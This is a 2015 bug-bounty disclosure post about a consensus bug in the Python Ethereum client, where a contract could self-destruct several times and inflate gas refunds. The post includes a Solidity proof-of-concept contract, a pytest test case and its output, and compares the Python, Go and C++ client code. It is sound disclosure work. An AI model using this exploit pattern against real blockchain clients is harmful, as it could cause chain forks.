I looked a bit into the python client for Ethereum, and found another bounty-bug; this time worth 4 BTC.
Thre are two VM implementations in the codebase, I’m not sure which one is used normally, but they both call ext.add_suicide(msg.to) when the SUICIDE operation is invoked.
ethereum/vm.py:
elif op == 'SUICIDE':
to = utils.encode_int(stk.pop())
to = ((b'\x00' * (32 - len(to))) + to)[12:]
xfer = ext.get_balance(msg.to)
ext.set_balance(msg.to, 0)
ext.set_balance(to, ext.get_balance(to) + xfer)
ext.add_suicide(msg.to)
/ethereum/fastvm.py:
elif op == op_SUICIDE:
to = utils.encode_int(stk.pop())
to = ((b'\x00' * (32 - len(to))) + to)[12:]
xfer = ext.get_balance(msg.to)
ext.set_balance(msg.to, 0)
ext.set_balance(to, ext.get_balance(to) + xfer)
ext.add_suicide(msg.to)
The method add_suicide is specified as a lambda-function which just calls append on block.suicides in ethereum/processblock.py:
self.add_suicide = lambda x: block.suicides.append(x)
The suicides in a block is a standard python list.
ethereum/blocks.py:
self.suicides = []
self.logs = []
Thus, two subsequent suicides by the same caller results - or rather, with the same key (address), would wind up as two entries within the list. Upon further processing after transaction exection, refunds are calculated.
ethereum/processblock.py:
block.refunds += len(block.suicides) * opcodes.GSUICIDEREFUND
This yields refunds for each time that suicide has been called.
Is it possible to commit suicide several times ?
Yes. But it requires some trickery, since suicide is basically the same as immediate return, which can be seen in this snippet from the go-client:
case RETURN:
offset, size := stack.pop(), stack.pop()
ret := mem.GetPtr(offset.Int64(), size.Int64())
return context.Return(ret), nil
case SUICIDE:
receiver := statedb.GetOrNewStateObject(common.BigToAddress(stack.pop()))
balance := statedb.GetBalance(context.Address())
receiver.AddBalance(balance)
statedb.Delete(context.Address())
fallthrough
case STOP: // Stop the context
return context.Return(nil), nil
All three cases, RETURN, SUICIDE and STOP are basically the same. If we use the CALL-opcode to call suicide, we can keep executing after the call returns.
contract Killer {
function homicide() {
suicide(msg.sender);
}
function multipleHomocide() {
Killer k = this;
k.homicide();
k.homicide();
}
}
The function above really calls itself, however, if we were to just call homocide() directly, the solc compiler would use internal JUMP instead of CALL. We can change that by pretending that we’re calling another contract with the Killer k = this; construction.
I verified this by adding a testcase within pyethereum/ethereum/tests/test_solidity.py. Two identical contracts, but one being killed several times.
solidity_suicider = """
contract Killer {
function homicide() {
suicide(msg.sender);
}
function multipleHomocide() {
Killer k = this;
k.homicide();
}
}
"""
solidity_suicider2 = """
contract Killer {
function homicide() {
suicide(msg.sender);
}
function multipleHomocide() {
Killer k = this;
k.homicide();
k.homicide();
k.homicide();
k.homicide();
}
}
"""
def test_suicides():
s = tester.state()
c = s.abi_contract(solidity_suicider, language='solidity', sender=tester.k0)
c2 = s.abi_contract(solidity_suicider2, language='solidity', sender=tester.k0)
c.multipleHomocide();
c2.multipleHomocide();
I also added some printouts to the block processor (processblock.py):
if len(block.suicides) > 0 :
print("Calculating block refunds. len(block.suicides) = %d " % len(block.suicides))
block.refunds += len(block.suicides) * opcodes.GSUICIDEREFUND
if block.refunds > 0:
log_tx.debug('Refunding', gas_refunded=min(block.refunds, gas_used // 2))
print('Refunding %d ' % min(block.refunds, gas_used // 2))
gas_remained += min(block.refunds, gas_used // 2)
And executed the test. Some lines snipped for brevity:
#py.test test_solidity.py -s
============================================================================ test session starts ============================================================================
platform linux2 -- Python 2.7.6 -- py-1.4.30 -- pytest-2.7.2
rootdir: /data/tools/pyethereum, inifile:
plugins: timeout
collecting 0 itemsWARNING:eth.pow using pure python implementation
collected 1 items
test_solidity.py 0 236
Calculating block refunds. len(block.suicides) = 1
Refunding 10814
Calculating block refunds. len(block.suicides) = 4
Refunding 11162
The C++ client uses a std::set<address, ensuring uniqueness.
The Go-client uses a two step process.
First the gas calculation:
case SUICIDE:
if !statedb.IsDeleted(context.Address()) {
statedb.Refund(params.SuicideRefundGas)
}
Secondly, the actual execution:
case SUICIDE:
receiver := statedb.GetOrNewStateObject(common.BigToAddress(stack.pop()))
balance := statedb.GetBalance(context.Address())
receiver.AddBalance(balance)
statedb.Delete(context.Address())
Thereby, when the operation is executed, the Delete operation on statedb is called, preventing it from being refunded again the next time.
Whenever we wind up with a different result between different clients, in this case python versus Go and C++, it’s a consensus issue; a.k.a fork. Forks are bad, but also eligible for rewards! I’m still only at second place on the ethereum bug bounty leaderboard though…
The issue was fixed by Vitalik Buterin in a couple of days ago for version 0.9.73 and an advisory was issued.
2015-08-15